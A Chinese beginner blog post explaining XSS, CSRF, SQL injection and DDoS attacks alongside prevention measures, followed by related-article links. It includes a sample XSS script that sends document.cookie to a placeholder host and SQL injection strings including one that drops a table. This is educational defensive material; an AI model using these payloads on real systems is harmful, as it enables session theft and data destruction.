🕷️常见WEB攻击与防御

简介: 常见WEB攻击与防御

本文已参与[新人创作礼]活动,一起开启掘金创作之路

cd440334359c651782db761bbe9d817.png

作为一个web开发者,web安全是需要了解的,web攻击是针对用户上网行为或网站服务器等设备进行攻击的行为,如植入恶意代码,修改网站权限,获取网站用户隐私信息等等。从互联网诞生起,网络安全威胁就一直伴随着网站的发展,各种web攻击和信息泄露也从未停止。本文介绍常见web攻击方式及预防措施。

  • XSS(跨站脚本攻击)
  • CSRF(跨站请求伪造)
  • SQL注入
  • DDOS

XSS

跨站脚本攻击指攻击者在网页中嵌入恶意脚本,当用户打开网页时,恶意脚本开始执行,盗取用户cookie,用户名密码等信息

比如在一个发布内容系统中,攻击者在内容中嵌入类似的代码

<script>window.open('www.xxx.com?param=' + document.cookie)</script>

,当用户访问这个页面的时候,就会执行恶意代码,该用户的cookie就会被发送到攻击者的服务器。

预防措施:

  • 将重要的cookies标记为http only,这样JavaScript中的document.cookie语句就不能获取到cookie了;
  • 只允许用户输入我们期望的数据,如年龄的textbox中只允许输入数字,其余过滤;
  • 对数据进行Html Encode处理,如<转化为<;、&转化为&;
  • 过滤或移除特殊的Html标签,如:script、iframe;
  • 过滤JavaScript事件的标签,如“onclick=”、“onfocus”等。

CSRF

跨站请求伪造指通过盗用用户信息以用户的名义向第三方网站发起恶意请求,盗取账号,转账,发送信息,删除数据等

用户登录信任站点A  ->  未退出访问恶意站点B  ->  从站点B发起访问站点A的恶意请求

8194c87fdc012a1ceaf126c350e6094.png

预防措施:

  • Cookie设置HttpOnly,JS就无法读取到cookie中的信息,避免攻击者伪造cookie的情况出现。
  • 不使用cookie验证,改token方式验证
  • 通过referer识别,验证页面是否是信任站点

SQL注入

SQL注入攻击是指把SQL语句伪装成正常的http请求,欺骗服务器执行恶意的SQL语句,达到入侵目的。

  • ' or '1'= '1。这是最常见的sql注入攻击,当我们输入用户名 jiajun ,然后密码输入'or '1'= '1的时候,我们在查询用户名和密码是否正确的时候,本来要执行的是
select * from user where username='' and password='

',经过参数拼接后,会执行sql语句

select * from user where username='jaijun' and password=' ' or ' 1'='1 '

,这个时候1=1是成立,自然就跳过验证了。

  • 但是如果再严重一点,密码输入的是';drop table user;--,那么sql命令为
select * from user where username='jiajun' and password='';drop table user;--'

这个时候我们就直接把这个表给删除了

预防措施:

  • 对进入数据库的特殊字符('"\尖括号&*;等)进行转义处理,或编码转换。
  • 在应用发布之前建议使用专业的SQL注入检测工具进行检测,以及时修补被发现的SQL注入漏洞。网上有很多这方面的开源工具,例如sqlmap、SQLninja等
  • 避免网站打印出SQL错误信息,比如类型错误、字段不匹配等,把代码里的SQL语句暴露出来,以防止攻击者利用这些错误信息进行SQL注入。

DDOS

分布式服务攻击,借助公共网络,将数量庞大的计算器设备(肉鸡)联合起来,对一个或多个目标发动攻击,从而达到瘫痪目标主机的目的。

  • SYN Flood ,简单说一下tcp三次握手,客户端先服务器发出请求,请求建立连接,然后服务器返回一个报文,表明请求以被接受,然后客户端也会返回一个报文,最后建立连接。那么如果有这么一种情况,攻击者伪造ip地址,发出报文给服务器请求连接,这个时候服务器接收到了,根据tcp三次握手的规则,服务器也要回应一个报文,可是这个ip是伪造的,报文回应给谁呢,第二次握手出现错误,第三次自然也就不能顺利进行了,这个时候服务器收不到第三次握手时客户端发出的报文,又再重复第二次握手的操作。如果攻击者伪造了大量的ip地址并发出请求,这个时候服务器将维护一个非常大的半连接等待列表,占用了大量的资源,最后服务器瘫痪
  • CC攻击,在应用层http协议上发起攻击,模拟正常用户发送大量请求直到该网站拒绝服务为止。
  • DNS query flood 攻击者伪造大量无效域名,发送给目标服务器解析,这些域名均为无效域名,导致DNS服务器耗用大量资源去处理这些无效域名,造成DNS解析域名超时,达到攻击目的。

预防措施:

  • 增加带宽,但是带宽非常昂贵
  • 异常流量的清洗过滤
  • 过滤不必要的服务和端口
  • 高防智能DNS解析
  • 部署CDN

总结

以上只是列举了常见的web攻击方式,都是比较常见的web安全话题,以及一些防范方案实际开发过程中还会遇到很多安全问题,对于这些问题,我们都不可忽视,服务器上任何一个应用的漏洞都有可能是黑客攻陷服务器的突破口。除上述常见的几种方式,还有很多web安全话题,有兴趣的同学可以继续研究。


目录
相关文章
|
2月前
|
安全 网络协议 NoSQL
Web渗透-常见的端口及对其的攻击思路
本文介绍了常见网络服务端口及其安全风险,涵盖FTP、SSH、Telnet、SMTP、DNS、HTTP、SMB、数据库及远程桌面等20余个端口,涉及弱口令爆破、信息泄露、未授权访问、缓冲区溢出等典型漏洞,适用于网络安全学习与渗透测试参考。
656 59
|
SQL 存储 安全
Web 常见攻击方式及防御方法
【10月更文挑战第25天】Web 安全是一个复杂而重要的领域,攻击者不断寻找新的攻击方法,我们需要不断加强防御措施,提高安全意识,以保障 Web 应用的安全运行。通过采取多种防御手段的综合运用,我们可以有效地降低 Web 攻击的风险,保护用户的信息和财产安全。同时,随着技术的不断发展,我们也需要持续关注和研究新的安全威胁和防御方法,以应对不断变化的安全形势。
1451 56
|
Web App开发 网络协议 安全
基于Web攻击的方式发现并攻击物联网设备介绍
基于Web攻击的方式发现并攻击物联网设备介绍
210 4
|
安全 前端开发 Java
Web安全进阶:XSS与CSRF攻击防御策略深度解析
【10月更文挑战第26天】Web安全是现代软件开发的重要领域,本文深入探讨了XSS和CSRF两种常见攻击的原理及防御策略。针对XSS,介绍了输入验证与转义、使用CSP、WAF、HTTP-only Cookie和代码审查等方法。对于CSRF,提出了启用CSRF保护、设置CSRF Token、使用HTTPS、二次验证和用户教育等措施。通过这些策略,开发者可以构建更安全的Web应用。
661 4
|
安全 Go PHP
Web安全进阶:XSS与CSRF攻击防御策略深度解析
【10月更文挑战第27天】本文深入解析了Web安全中的XSS和CSRF攻击防御策略。针对XSS,介绍了输入验证与净化、内容安全策略(CSP)和HTTP头部安全配置;针对CSRF,提出了使用CSRF令牌、验证HTTP请求头、限制同源策略和双重提交Cookie等方法,帮助开发者有效保护网站和用户数据安全。
482 2
|
存储 安全 Go
Web安全基础:防范XSS与CSRF攻击的方法
【10月更文挑战第25天】Web安全是互联网应用开发中的重要环节。本文通过具体案例分析了跨站脚本攻击(XSS)和跨站请求伪造(CSRF)的原理及防范方法,包括服务器端数据过滤、使用Content Security Policy (CSP)、添加CSRF令牌等措施,帮助开发者构建更安全的Web应用。
536 3
|
SQL 安全 网络协议
Web 常见攻击方式
【10月更文挑战第25天】这些只是一些常见的 Web 攻击方式,实际上还有许多其他的攻击手段。为了防范这些攻击,需要采取一系列的安全措施,如输入验证、输出编码、安全配置、身份验证等。同时,也需要不断提高用户的安全意识,以减少被攻击的风险。
344 1
|
安全 Linux Shell
Kali渗透测试:使用Metasploit对Web应用的攻击
Kali渗透测试:使用Metasploit对Web应用的攻击
412 4
|
存储 安全 前端开发
在前端开发中需要考虑的常见web安全问题和攻击原理以及防范措施
在前端开发中需要考虑的常见web安全问题和攻击原理以及防范措施
1414 0
|
1月前
|
算法 Java Go
【GoGin】(1)上手Go Gin 基于Go语言开发的Web框架,本文介绍了各种路由的配置信息;包含各场景下请求参数的基本传入接收
gin 框架中采用的路优酷是基于httprouter做的是一个高性能的 HTTP 请求路由器,适用于 Go 语言。它的设计目标是提供高效的路由匹配和低内存占用,特别适合需要高性能和简单路由的应用场景。
215 4

热门文章

最新文章

下一篇
oss云网关配置